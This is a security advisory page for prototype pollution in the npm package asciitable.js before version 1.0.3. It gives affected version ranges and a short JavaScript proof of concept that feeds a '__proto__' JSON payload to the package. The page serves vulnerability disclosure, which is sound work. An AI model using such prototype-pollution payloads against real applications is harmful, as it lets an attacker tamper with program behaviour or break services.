GHSA-5pxj-mhwj-x5gv

    Dashboard / Vulnerabilities / GHSA-5pxj-mhwj-x5gv

    GHSA-5pxj-mhwj-x5gv

    Published: 13 Apr 2021Last Modified: 10 Sept 2026

    Summary: Prototype Pollution in asciitable.js

    Details: The package asciitable.js before 1.0.3 is vulnerable to Prototype Pollution via the main function. ### PoC ```js var a = require("asciitable.js"); var b = JSON.parse('{"__proto__":{"test":123}}'); a({},b); console.log({}.test) ```

    Affected packages

    Package

    Name: asciitable.js

    Purl: pkg:npm/asciitable.js

    Affected ranges

    Type: SEMVER

    Events:

    Introduced- 0
    Fixed -1.0.3

    Affected versions

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    GHSA-5pxj-mhwj-x5gv | CVE-DB